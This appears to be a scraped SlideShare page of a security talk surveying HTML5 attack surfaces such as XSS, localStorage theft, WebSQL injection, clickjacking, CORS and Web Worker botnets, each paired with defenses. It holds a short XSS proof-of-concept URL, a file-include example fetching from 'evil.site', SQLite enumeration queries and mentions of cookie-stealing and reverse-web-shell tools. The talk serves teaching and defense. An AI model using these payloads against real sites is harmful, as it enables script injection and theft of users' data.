SlideShare a Scribd company logo
youstar@insight-labs
   Introduction to HTML5
   HTML5 threat model
   Vulnerabilities & Defense
   Tools
   Reference
   History
     HTML1.0——1993.6 Not Standard
     HTML 2.0——1995.11 RFC 1866
     HTML 3.2——1996.1.14 W3C Recommended Standard
     HTML 4.0——1997.12.18 W3C Recommended Standard
     HTML 4.01——1999.12.24 W3C Recommended Standard
     XHTML——2000.1.20 W3C Recommended Standard
     HTML5——2008 First Draft Standard
               2012 W3C Candidate Recommendation
   Features
     The three aspects of HTML5
      ▪ Content HTML
       ▪ New Tags and Attributes
     ▪ Presentation of content CSS
     ▪ Interaction with content JavaScript
       ▪ Add New API   Drag   LocalStorage   WebWorkers etc
   Features
   XSS abuse with tags and attributes
   Hiding URL Code
   Stealing from the storage
   Injecting and Exploiting WebSQL
   ClickJacking &&CookieJacking
   Cross Origin Request and postMessage
   Client‐side File Includes
   Botnet and widgets
   In:
     New tags: <button>,<video>,<audio>,<article>,<footer>,<nav>
     New attributes for tags: autocomplete, autofocus, pattern(yes,regex) for
          input
         New media events
         New <canvas> tag for 2D rendering
         New form controls for date and time
         Geolocation
         New selectors
         Client-side storage including localStorage, sessionStorage, and WebSQL
   Out:
         Presentation elements such a <font>, <center>
         Presentation attributes including align, border
         <frame>,<frameset>
         <applet>
         Old special effects: <marquee>,<bgsound>
         <noscript>
   Attack:
     New XSS Vector
     Bypass Black-list Filter


   Defense:
     Add new tags to Black-list
     Change Regex
   DOM
     window.history.back();
     window.history.forward();
     window.history.go();
   HTML5
     history.pushState()
      ▪ history.pushState(state object,title,URL);
     history.replaceState()
      ▪ The same with pushState,but modifies the current
        history entry.
http://127.0.0.1/html5/poc/history/xsspoc.php?xss=<
script>history.pushState({},'',location.href.split("?").
shift());document.write(1)</script>



http://127.0.0.1/html5/poc/history/xsspoc.php
   Type
     LocalStorage:for long-term storage
     SessionStorage:for the session application(last
      when the browser closed)
   Differences
     Cookies:4k
     LocalStorage/ SessionStorage:depends on
      browser(usually 5MB)
   Support
     Firefox 3.5, Safari 4.0, IE8, Google Chrome, Opera
      10.50
   Function
     (localStorage | sessionStorage).setItem()
     (localStorage | sessionStorage).getItem()
     (localStorage | sessionStorage).deleteItem()
     (localStorage | sessionStorage).clear()
   Attack
     Get the data from the storage(cookie,passwd,etc)
     Storage your xss shellcode
     Unlimit the path
   Defense
     Don’t store sensitive data in local storage
     Don't use local storage for session identifiers
     Stick with cookies and use the HTTPOnly and
     Secure flags
   Database Storage
     The same as the Google Gears
   Operate
     openDatabase("Database Name", "Database Version", "Database
      Description", "Estimated Size");
     transaction("YOUR SQL STATEMENT HERE");
     executeSql();

   Type
     SQLite (support by WebKit)
   Attack
     Store shellcode
     SQL inject
   Defense
     Strick with the sql operate
     Encode the sql result before display
     Don’t store sensitive data
   Store shellcode
   SQL Injection
     Use sqlite_master
      ▪ SELECT name FROM sqlite_master WHERE type='table'
      ▪ SELECT sql FROM sqlite_master WHERE
        name='table_name'
      ▪ SELECT sqlite_version()
     Select with ?
      ▪ executeSql("SELECT name FROM stud WHERE id=" +
        input_id); False
      ▪ executeSql("SELECT name FROM stud WHERE id=?",
        [input_id]); True
   Drag and drop basics
     Drag Data
     the drag feedback image
     drag effects
   Drag events:
       dragstart
       dragenter
       dragover
       dragleave
       drag
       drop
       dragend
   ClickJacking
     XSS + Drag
   CookieJacking
     Use many technology to steal user’s local cookies
   Technology
     How to read the local fileiframe+file://
     How to detect the state of cookies Clickjacking
     How to send cookiesSMB
   Defense
     Use iframe with sandbox
     If (top !== window) top.location=
      window.location.href;
     if (top!=self) top.location.href=self.location.href
   postMessage
     Send
      ▪ otherWindow.postMessage(message, targetOrigin);
     Receive
      window.addEventListener("message", receiveMessage, false);
      function receiveMessage(event)
      {
        if (event.origin !== "http://example.org:8080")
          return;
        // ...
      }
   Defense
     Check the postMessage origin
     Don’t use innerHTML
      ▪ Element.innerHTML=e.data;//danger
      ▪ Element.textContent=e.data;//safe
     Don’t use Eval to deal with the mesage
   Cross-Origin Resource Sharing
     ▪ Originally Ajax calls were subject to Same Origin Policy
     ▪ Site A cannot make XMLHttpRequests to Site B
     ▪ HTML5 makes it possible to make these cross domain calls
     ▪ Site ASite B(Response must include a header)
       ▪ Access-Control-Allow-Origin: Site A       Must
       ▪ Access-Control-Allow-Credentials: true | false
       ▪ Access-Control-Expose-Headers:
       ▪ etc
   Defense
     Don’t set this: Access-Control-Allow-Origin: *
      ▪ (Flash crossdomain.xml )
     Prevent DDOS
      ▪ if(origin=="Site A"){header(Access-Control-Allow-
        Origin:Site A)……//process request}
   Code like this:
<html><body><script>
x = new XMLHttpRequest();
x.open("GET",location.hash.substring(1));
x.onreadystatechange=function(){if(x.readyState==4){
document.getElementById("main").innerHTML=x.responseText;}}
x.send();
</script>
<div id=“main”></div>
</body></html>
 POC
       Introducing Cross Origin Requests http://example.com/#http://evil.site/payload.php
       VContents of ‘payload.php’ will be included as HTML within <div id=“main”></div>
       New type of XSS!!
   Web Workers
     running scripts in the background independently
     Very simple
        var w = new Worker("some_script.js");
        w.onmessage = function(e) { // do something };
        w.terminate()
     Access
      ▪ XHR,navigator object,application cache,spawn other workers!
     Can’t access
      ▪ DOM,window,document objects
   Attack
     Botnet
      ▪ Application‐level DDoS attacks
      ▪ Email Spam
      ▪ Distributed password cracking
     Network Scanning
     Guessing User’s Private IP Address
      ▪ Identify the user’s subnet
      ▪ Identify the IP address
   COR+XSS+Workers=shell of the future
   HTML5CSdump
     enumeration and extraction techniques described
     before to obtain all the client-side storage relative
     to a certain domain name
   JS-Recon
     Port Scans
     Network Scans
     Detecting private IP address
   Imposter
       Steal cookies
       Set cookies
       Steal Local Shared Objects
       Steal stored passwords from FireFox
       etc
   Shell of the Future
     Reverse Web Shell handler
     Bypass anti-session hijacking measures
   Ravan
     JavaScript based Distributed Computing system
     hashing algorithms
      ▪ MD5
      ▪ SHA1
      ▪ SHA256
      ▪ SHA512
 HTML5 带来的新安全威胁:xisigr
 Attacking with HTML5:lavakumark
 Abusing HTML5:Ming Chow
 HTML5 Web Security:Thomas Röthlisberger
 Abusing HTML 5 Structured Client-side Storage:Alberto Trivero
 Cookiejacking:Rosario Valotta
 http://heideri.ch/jso/#html5
 http://www.wooyun.org/bugs/wooyun-2011-02351
 http://shreeraj.blogspot.com/2011/03/html-5-xhr-l2-and-
  dom-l3-top-10-attacks.html
 http://www.html5test.com
   http://hi.baidu.com/xisigr/blog/item/aebf0728abd960f299250abe.
    html
   http://blog.whatwg.org/whats-next-in-html-episode-2-sandbox
   http://code.google.com/intl/zh-CN/apis/gears/api_database.html
   http://michael-coates.blogspot.com/2010/07/html5-local-storage-
    and-xss.html
   http://www.w3.org/TR/access-control/
   http://m-austin.com/blog/?p=19
   https://developer.mozilla.org/en/
   http://www.w3.org/TR/cors/
   http://www.andlabs.org/tools/ravan.html
   http://www.gnucitizen.org/blog/client-side-sql-injection-attacks/
   Contact Me
   email:youstar@foxmail.com
   Site:
     www.codesec.info

     www.insight-labs.org

More Related Content

What's hot

Super simple application security with Apache Shiro
Super simple application security with Apache ShiroSuper simple application security with Apache Shiro
Super simple application security with Apache Shiro
Marakana Inc.
 
Ecom2
Ecom2Ecom2
Java. Explicit and Implicit Wait. Testing Ajax Applications
Java. Explicit and Implicit Wait. Testing Ajax ApplicationsJava. Explicit and Implicit Wait. Testing Ajax Applications
Java. Explicit and Implicit Wait. Testing Ajax Applications
Марія Русин
 
Django - Know Your Namespace: Middleware
Django - Know Your Namespace: MiddlewareDjango - Know Your Namespace: Middleware
Django - Know Your Namespace: Middleware
howiworkdaily
 
Top 10 F5 iRules to migrate to a modern load balancing platform
Top 10 F5 iRules to migrate to a modern load balancing platformTop 10 F5 iRules to migrate to a modern load balancing platform
Top 10 F5 iRules to migrate to a modern load balancing platform
Avi Networks
 
Mongo db for c# developers
Mongo db for c# developersMongo db for c# developers
Mongo db for c# developers
Simon Elliston Ball
 
Introduction to the new official C# Driver developed by 10gen
Introduction to the new official C# Driver developed by 10genIntroduction to the new official C# Driver developed by 10gen
Introduction to the new official C# Driver developed by 10gen
MongoDB
 
Securing REST APIs
Securing REST APIsSecuring REST APIs
Securing REST APIs
Claire Hunsaker
 
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
GeeksLab Odessa
 
Blockchain com JavaScript
Blockchain com JavaScriptBlockchain com JavaScript
Blockchain com JavaScript
Beto Muniz
 
Secure .NET programming
Secure .NET programmingSecure .NET programming
Secure .NET programmingAnte Gulam
 
Google chrome presentation
Google chrome presentationGoogle chrome presentation
Google chrome presentationreza jalaluddin
 
Html5 and web technology update
Html5 and web technology updateHtml5 and web technology update
Html5 and web technology update
Doug Domeny
 
Forget the Web
Forget the WebForget the Web
Forget the Web
Remy Sharp
 
Bare-knuckle web development
Bare-knuckle web developmentBare-knuckle web development
Bare-knuckle web development
Johannes Brodwall
 
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
CODE BLUE
 
Beyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the codeBeyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the code
Wim Godden
 
The Ring programming language version 1.7 book - Part 47 of 196
The Ring programming language version 1.7 book - Part 47 of 196The Ring programming language version 1.7 book - Part 47 of 196
The Ring programming language version 1.7 book - Part 47 of 196
Mahmoud Samir Fayed
 
PHP Experience 2016 - [Workshop] Elastic Search: Turbinando sua aplicação PHP
PHP Experience 2016 - [Workshop] Elastic Search: Turbinando sua aplicação PHPPHP Experience 2016 - [Workshop] Elastic Search: Turbinando sua aplicação PHP
PHP Experience 2016 - [Workshop] Elastic Search: Turbinando sua aplicação PHP
iMasters
 

What's hot (20)

Super simple application security with Apache Shiro
Super simple application security with Apache ShiroSuper simple application security with Apache Shiro
Super simple application security with Apache Shiro
 
Ecom2
Ecom2Ecom2
Ecom2
 
Java. Explicit and Implicit Wait. Testing Ajax Applications
Java. Explicit and Implicit Wait. Testing Ajax ApplicationsJava. Explicit and Implicit Wait. Testing Ajax Applications
Java. Explicit and Implicit Wait. Testing Ajax Applications
 
Django - Know Your Namespace: Middleware
Django - Know Your Namespace: MiddlewareDjango - Know Your Namespace: Middleware
Django - Know Your Namespace: Middleware
 
Top 10 F5 iRules to migrate to a modern load balancing platform
Top 10 F5 iRules to migrate to a modern load balancing platformTop 10 F5 iRules to migrate to a modern load balancing platform
Top 10 F5 iRules to migrate to a modern load balancing platform
 
Mongo db for c# developers
Mongo db for c# developersMongo db for c# developers
Mongo db for c# developers
 
Mongo db for C# Developers
Mongo db for C# DevelopersMongo db for C# Developers
Mongo db for C# Developers
 
Introduction to the new official C# Driver developed by 10gen
Introduction to the new official C# Driver developed by 10genIntroduction to the new official C# Driver developed by 10gen
Introduction to the new official C# Driver developed by 10gen
 
Securing REST APIs
Securing REST APIsSecuring REST APIs
Securing REST APIs
 
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
 
Blockchain com JavaScript
Blockchain com JavaScriptBlockchain com JavaScript
Blockchain com JavaScript
 
Secure .NET programming
Secure .NET programmingSecure .NET programming
Secure .NET programming
 
Google chrome presentation
Google chrome presentationGoogle chrome presentation
Google chrome presentation
 
Html5 and web technology update
Html5 and web technology updateHtml5 and web technology update
Html5 and web technology update
 
Forget the Web
Forget the WebForget the Web
Forget the Web
 
Bare-knuckle web development
Bare-knuckle web developmentBare-knuckle web development
Bare-knuckle web development
 
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
 
Beyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the codeBeyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the code
 
The Ring programming language version 1.7 book - Part 47 of 196
The Ring programming language version 1.7 book - Part 47 of 196The Ring programming language version 1.7 book - Part 47 of 196
The Ring programming language version 1.7 book - Part 47 of 196
 
PHP Experience 2016 - [Workshop] Elastic Search: Turbinando sua aplicação PHP
PHP Experience 2016 - [Workshop] Elastic Search: Turbinando sua aplicação PHPPHP Experience 2016 - [Workshop] Elastic Search: Turbinando sua aplicação PHP
PHP Experience 2016 - [Workshop] Elastic Search: Turbinando sua aplicação PHP
 

Similar to Talk about html5 security

Html5 hacking
Html5 hackingHtml5 hacking
Html5 hacking
Iftach Ian Amit
 
Browser security
Browser securityBrowser security
Browser security
Uday Anand
 
HTML5 vs Silverlight
HTML5 vs SilverlightHTML5 vs Silverlight
HTML5 vs SilverlightMatt Casto
 
Sanjeev ghai 12
Sanjeev ghai 12Sanjeev ghai 12
Sanjeev ghai 12
Praveen kumar
 
Developing your first application using FIWARE
Developing your first application using FIWAREDeveloping your first application using FIWARE
Developing your first application using FIWAREFIWARE
 
AtlasCamp 2014: 10 Things a Front End Developer Should Know About Connect
AtlasCamp 2014: 10 Things a Front End Developer Should Know About ConnectAtlasCamp 2014: 10 Things a Front End Developer Should Know About Connect
AtlasCamp 2014: 10 Things a Front End Developer Should Know About Connect
Atlassian
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
Devnology
 
Building Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 FeaturesBuilding Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 Features
Conviso Application Security
 
Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2
Jim Manico
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure codingHaitham Raik
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
Brad Hill
 
General Principles of Web Security
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Security
jemond
 
Defeating Cross-Site Scripting with Content Security Policy (updated)
Defeating Cross-Site Scripting with Content Security Policy (updated)Defeating Cross-Site Scripting with Content Security Policy (updated)
Defeating Cross-Site Scripting with Content Security Policy (updated)
Francois Marier
 
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....Patrick Lauke
 
Attractive HTML5~開発者の視点から~
Attractive HTML5~開発者の視点から~Attractive HTML5~開発者の視点から~
Attractive HTML5~開発者の視点から~
Sho Ito
 
Browser Security
Browser SecurityBrowser Security
Browser Security
Roberto Suggi Liverani
 
前端概述
前端概述前端概述
前端概述
Ethan Zhang
 
HTML5 on Mobile
HTML5 on MobileHTML5 on Mobile
HTML5 on Mobile
Adam Lu
 
Html5 For Jjugccc2009fall
Html5 For Jjugccc2009fallHtml5 For Jjugccc2009fall
Html5 For Jjugccc2009fall
Shumpei Shiraishi
 

Similar to Talk about html5 security (20)

Html5 hacking
Html5 hackingHtml5 hacking
Html5 hacking
 
Browser security
Browser securityBrowser security
Browser security
 
HTML5 vs Silverlight
HTML5 vs SilverlightHTML5 vs Silverlight
HTML5 vs Silverlight
 
Sanjeev ghai 12
Sanjeev ghai 12Sanjeev ghai 12
Sanjeev ghai 12
 
Developing your first application using FIWARE
Developing your first application using FIWAREDeveloping your first application using FIWARE
Developing your first application using FIWARE
 
AtlasCamp 2014: 10 Things a Front End Developer Should Know About Connect
AtlasCamp 2014: 10 Things a Front End Developer Should Know About ConnectAtlasCamp 2014: 10 Things a Front End Developer Should Know About Connect
AtlasCamp 2014: 10 Things a Front End Developer Should Know About Connect
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
 
Building Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 FeaturesBuilding Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 Features
 
Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure coding
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
General Principles of Web Security
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Security
 
Defeating Cross-Site Scripting with Content Security Policy (updated)
Defeating Cross-Site Scripting with Content Security Policy (updated)Defeating Cross-Site Scripting with Content Security Policy (updated)
Defeating Cross-Site Scripting with Content Security Policy (updated)
 
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
 
Attractive HTML5~開発者の視点から~
Attractive HTML5~開発者の視点から~Attractive HTML5~開発者の視点から~
Attractive HTML5~開発者の視点から~
 
Attacking HTML5
Attacking HTML5Attacking HTML5
Attacking HTML5
 
Browser Security
Browser SecurityBrowser Security
Browser Security
 
前端概述
前端概述前端概述
前端概述
 
HTML5 on Mobile
HTML5 on MobileHTML5 on Mobile
HTML5 on Mobile
 
Html5 For Jjugccc2009fall
Html5 For Jjugccc2009fallHtml5 For Jjugccc2009fall
Html5 For Jjugccc2009fall
 

Recently uploaded

CACJapan - GROUP Presentation 1- Wk 4.pdf
CACJapan - GROUP Presentation 1- Wk 4.pdfCACJapan - GROUP Presentation 1- Wk 4.pdf
CACJapan - GROUP Presentation 1- Wk 4.pdf
camakaiclarkmusic
 
Overview on Edible Vaccine: Pros & Cons with Mechanism
Overview on Edible Vaccine: Pros & Cons with MechanismOverview on Edible Vaccine: Pros & Cons with Mechanism
Overview on Edible Vaccine: Pros & Cons with Mechanism
DeeptiGupta154
 
S1-Introduction-Biopesticides in ICM.pptx
S1-Introduction-Biopesticides in ICM.pptxS1-Introduction-Biopesticides in ICM.pptx
S1-Introduction-Biopesticides in ICM.pptx
tarandeep35
 
Lapbook sobre os Regimes Totalitários.pdf
Lapbook sobre os Regimes Totalitários.pdfLapbook sobre os Regimes Totalitários.pdf
Lapbook sobre os Regimes Totalitários.pdf
Jean Carlos Nunes Paixão
 
Acetabularia Information For Class 9 .docx
Acetabularia Information For Class 9  .docxAcetabularia Information For Class 9  .docx
Acetabularia Information For Class 9 .docx
vaibhavrinwa19
 
Francesca Gottschalk - How can education support child empowerment.pptx
Francesca Gottschalk - How can education support child empowerment.pptxFrancesca Gottschalk - How can education support child empowerment.pptx
Francesca Gottschalk - How can education support child empowerment.pptx
EduSkills OECD
 
How libraries can support authors with open access requirements for UKRI fund...
How libraries can support authors with open access requirements for UKRI fund...How libraries can support authors with open access requirements for UKRI fund...
How libraries can support authors with open access requirements for UKRI fund...
Jisc
 
Mule 4.6 & Java 17 Upgrade | MuleSoft Mysore Meetup #46
Mule 4.6 & Java 17 Upgrade | MuleSoft Mysore Meetup #46Mule 4.6 & Java 17 Upgrade | MuleSoft Mysore Meetup #46
Mule 4.6 & Java 17 Upgrade | MuleSoft Mysore Meetup #46
MysoreMuleSoftMeetup
 
Model Attribute Check Company Auto Property
Model Attribute  Check Company Auto PropertyModel Attribute  Check Company Auto Property
Model Attribute Check Company Auto Property
Celine George
 
Unit 8 - Information and Communication Technology (Paper I).pdf
Unit 8 - Information and Communication Technology (Paper I).pdfUnit 8 - Information and Communication Technology (Paper I).pdf
Unit 8 - Information and Communication Technology (Paper I).pdf
Thiyagu K
 
Executive Directors Chat Leveraging AI for Diversity, Equity, and Inclusion
Executive Directors Chat  Leveraging AI for Diversity, Equity, and InclusionExecutive Directors Chat  Leveraging AI for Diversity, Equity, and Inclusion
Executive Directors Chat Leveraging AI for Diversity, Equity, and Inclusion
TechSoup
 
Thesis Statement for students diagnonsed withADHD.ppt
Thesis Statement for students diagnonsed withADHD.pptThesis Statement for students diagnonsed withADHD.ppt
Thesis Statement for students diagnonsed withADHD.ppt
EverAndrsGuerraGuerr
 
TESDA TM1 REVIEWER FOR NATIONAL ASSESSMENT WRITTEN AND ORAL QUESTIONS WITH A...
TESDA TM1 REVIEWER  FOR NATIONAL ASSESSMENT WRITTEN AND ORAL QUESTIONS WITH A...TESDA TM1 REVIEWER  FOR NATIONAL ASSESSMENT WRITTEN AND ORAL QUESTIONS WITH A...
TESDA TM1 REVIEWER FOR NATIONAL ASSESSMENT WRITTEN AND ORAL QUESTIONS WITH A...
EugeneSaldivar
 
JEE1_This_section_contains_FOUR_ questions
JEE1_This_section_contains_FOUR_ questionsJEE1_This_section_contains_FOUR_ questions
JEE1_This_section_contains_FOUR_ questions
ShivajiThube2
 
The Challenger.pdf DNHS Official Publication
The Challenger.pdf DNHS Official PublicationThe Challenger.pdf DNHS Official Publication
The Challenger.pdf DNHS Official Publication
Delapenabediema
 
The basics of sentences session 5pptx.pptx
The basics of sentences session 5pptx.pptxThe basics of sentences session 5pptx.pptx
The basics of sentences session 5pptx.pptx
heathfieldcps1
 
Synthetic Fiber Construction in lab .pptx
Synthetic Fiber Construction in lab .pptxSynthetic Fiber Construction in lab .pptx
Synthetic Fiber Construction in lab .pptx
Pavel ( NSTU)
 
Exploiting Artificial Intelligence for Empowering Researchers and Faculty, In...
Exploiting Artificial Intelligence for Empowering Researchers and Faculty, In...Exploiting Artificial Intelligence for Empowering Researchers and Faculty, In...
Exploiting Artificial Intelligence for Empowering Researchers and Faculty, In...
Dr. Vinod Kumar Kanvaria
 
MASS MEDIA STUDIES-835-CLASS XI Resource Material.pdf
MASS MEDIA STUDIES-835-CLASS XI Resource Material.pdfMASS MEDIA STUDIES-835-CLASS XI Resource Material.pdf
MASS MEDIA STUDIES-835-CLASS XI Resource Material.pdf
goswamiyash170123
 
Natural birth techniques - Mrs.Akanksha Trivedi Rama University
Natural birth techniques - Mrs.Akanksha Trivedi Rama UniversityNatural birth techniques - Mrs.Akanksha Trivedi Rama University
Natural birth techniques - Mrs.Akanksha Trivedi Rama University
Akanksha trivedi rama nursing college kanpur.
 

Recently uploaded (20)

CACJapan - GROUP Presentation 1- Wk 4.pdf
CACJapan - GROUP Presentation 1- Wk 4.pdfCACJapan - GROUP Presentation 1- Wk 4.pdf
CACJapan - GROUP Presentation 1- Wk 4.pdf
 
Overview on Edible Vaccine: Pros & Cons with Mechanism
Overview on Edible Vaccine: Pros & Cons with MechanismOverview on Edible Vaccine: Pros & Cons with Mechanism
Overview on Edible Vaccine: Pros & Cons with Mechanism
 
S1-Introduction-Biopesticides in ICM.pptx
S1-Introduction-Biopesticides in ICM.pptxS1-Introduction-Biopesticides in ICM.pptx
S1-Introduction-Biopesticides in ICM.pptx
 
Lapbook sobre os Regimes Totalitários.pdf
Lapbook sobre os Regimes Totalitários.pdfLapbook sobre os Regimes Totalitários.pdf
Lapbook sobre os Regimes Totalitários.pdf
 
Acetabularia Information For Class 9 .docx
Acetabularia Information For Class 9  .docxAcetabularia Information For Class 9  .docx
Acetabularia Information For Class 9 .docx
 
Francesca Gottschalk - How can education support child empowerment.pptx
Francesca Gottschalk - How can education support child empowerment.pptxFrancesca Gottschalk - How can education support child empowerment.pptx
Francesca Gottschalk - How can education support child empowerment.pptx
 
How libraries can support authors with open access requirements for UKRI fund...
How libraries can support authors with open access requirements for UKRI fund...How libraries can support authors with open access requirements for UKRI fund...
How libraries can support authors with open access requirements for UKRI fund...
 
Mule 4.6 & Java 17 Upgrade | MuleSoft Mysore Meetup #46
Mule 4.6 & Java 17 Upgrade | MuleSoft Mysore Meetup #46Mule 4.6 & Java 17 Upgrade | MuleSoft Mysore Meetup #46
Mule 4.6 & Java 17 Upgrade | MuleSoft Mysore Meetup #46
 
Model Attribute Check Company Auto Property
Model Attribute  Check Company Auto PropertyModel Attribute  Check Company Auto Property
Model Attribute Check Company Auto Property
 
Unit 8 - Information and Communication Technology (Paper I).pdf
Unit 8 - Information and Communication Technology (Paper I).pdfUnit 8 - Information and Communication Technology (Paper I).pdf
Unit 8 - Information and Communication Technology (Paper I).pdf
 
Executive Directors Chat Leveraging AI for Diversity, Equity, and Inclusion
Executive Directors Chat  Leveraging AI for Diversity, Equity, and InclusionExecutive Directors Chat  Leveraging AI for Diversity, Equity, and Inclusion
Executive Directors Chat Leveraging AI for Diversity, Equity, and Inclusion
 
Thesis Statement for students diagnonsed withADHD.ppt
Thesis Statement for students diagnonsed withADHD.pptThesis Statement for students diagnonsed withADHD.ppt
Thesis Statement for students diagnonsed withADHD.ppt
 
TESDA TM1 REVIEWER FOR NATIONAL ASSESSMENT WRITTEN AND ORAL QUESTIONS WITH A...
TESDA TM1 REVIEWER  FOR NATIONAL ASSESSMENT WRITTEN AND ORAL QUESTIONS WITH A...TESDA TM1 REVIEWER  FOR NATIONAL ASSESSMENT WRITTEN AND ORAL QUESTIONS WITH A...
TESDA TM1 REVIEWER FOR NATIONAL ASSESSMENT WRITTEN AND ORAL QUESTIONS WITH A...
 
JEE1_This_section_contains_FOUR_ questions
JEE1_This_section_contains_FOUR_ questionsJEE1_This_section_contains_FOUR_ questions
JEE1_This_section_contains_FOUR_ questions
 
The Challenger.pdf DNHS Official Publication
The Challenger.pdf DNHS Official PublicationThe Challenger.pdf DNHS Official Publication
The Challenger.pdf DNHS Official Publication
 
The basics of sentences session 5pptx.pptx
The basics of sentences session 5pptx.pptxThe basics of sentences session 5pptx.pptx
The basics of sentences session 5pptx.pptx
 
Synthetic Fiber Construction in lab .pptx
Synthetic Fiber Construction in lab .pptxSynthetic Fiber Construction in lab .pptx
Synthetic Fiber Construction in lab .pptx
 
Exploiting Artificial Intelligence for Empowering Researchers and Faculty, In...
Exploiting Artificial Intelligence for Empowering Researchers and Faculty, In...Exploiting Artificial Intelligence for Empowering Researchers and Faculty, In...
Exploiting Artificial Intelligence for Empowering Researchers and Faculty, In...
 
MASS MEDIA STUDIES-835-CLASS XI Resource Material.pdf
MASS MEDIA STUDIES-835-CLASS XI Resource Material.pdfMASS MEDIA STUDIES-835-CLASS XI Resource Material.pdf
MASS MEDIA STUDIES-835-CLASS XI Resource Material.pdf
 
Natural birth techniques - Mrs.Akanksha Trivedi Rama University
Natural birth techniques - Mrs.Akanksha Trivedi Rama UniversityNatural birth techniques - Mrs.Akanksha Trivedi Rama University
Natural birth techniques - Mrs.Akanksha Trivedi Rama University
 

Talk about html5 security

  • 2. Introduction to HTML5  HTML5 threat model  Vulnerabilities & Defense  Tools  Reference
  • 3. History  HTML1.0——1993.6 Not Standard  HTML 2.0——1995.11 RFC 1866  HTML 3.2——1996.1.14 W3C Recommended Standard  HTML 4.0——1997.12.18 W3C Recommended Standard  HTML 4.01——1999.12.24 W3C Recommended Standard  XHTML——2000.1.20 W3C Recommended Standard  HTML5——2008 First Draft Standard  2012 W3C Candidate Recommendation
  • 4. Features  The three aspects of HTML5 ▪ Content HTML ▪ New Tags and Attributes ▪ Presentation of content CSS ▪ Interaction with content JavaScript ▪ Add New API Drag LocalStorage WebWorkers etc
  • 5. Features
  • 6.
  • 7.
  • 8. XSS abuse with tags and attributes  Hiding URL Code  Stealing from the storage  Injecting and Exploiting WebSQL  ClickJacking &&CookieJacking  Cross Origin Request and postMessage  Client‐side File Includes  Botnet and widgets
  • 9. In:  New tags: <button>,<video>,<audio>,<article>,<footer>,<nav>  New attributes for tags: autocomplete, autofocus, pattern(yes,regex) for input  New media events  New <canvas> tag for 2D rendering  New form controls for date and time  Geolocation  New selectors  Client-side storage including localStorage, sessionStorage, and WebSQL  Out:  Presentation elements such a <font>, <center>  Presentation attributes including align, border  <frame>,<frameset>  <applet>  Old special effects: <marquee>,<bgsound>  <noscript>
  • 10. Attack:  New XSS Vector  Bypass Black-list Filter  Defense:  Add new tags to Black-list  Change Regex
  • 11.
  • 12. DOM  window.history.back();  window.history.forward();  window.history.go();  HTML5  history.pushState() ▪ history.pushState(state object,title,URL);  history.replaceState() ▪ The same with pushState,but modifies the current history entry.
  • 14.
  • 15. Type  LocalStorage:for long-term storage  SessionStorage:for the session application(last when the browser closed)  Differences  Cookies:4k  LocalStorage/ SessionStorage:depends on browser(usually 5MB)  Support  Firefox 3.5, Safari 4.0, IE8, Google Chrome, Opera 10.50
  • 16.
  • 17. Function  (localStorage | sessionStorage).setItem()  (localStorage | sessionStorage).getItem()  (localStorage | sessionStorage).deleteItem()  (localStorage | sessionStorage).clear()
  • 18. Attack  Get the data from the storage(cookie,passwd,etc)  Storage your xss shellcode  Unlimit the path  Defense  Don’t store sensitive data in local storage  Don't use local storage for session identifiers  Stick with cookies and use the HTTPOnly and Secure flags
  • 19.
  • 20. Database Storage  The same as the Google Gears  Operate  openDatabase("Database Name", "Database Version", "Database Description", "Estimated Size");  transaction("YOUR SQL STATEMENT HERE");  executeSql();  Type  SQLite (support by WebKit)
  • 21. Attack  Store shellcode  SQL inject  Defense  Strick with the sql operate  Encode the sql result before display  Don’t store sensitive data
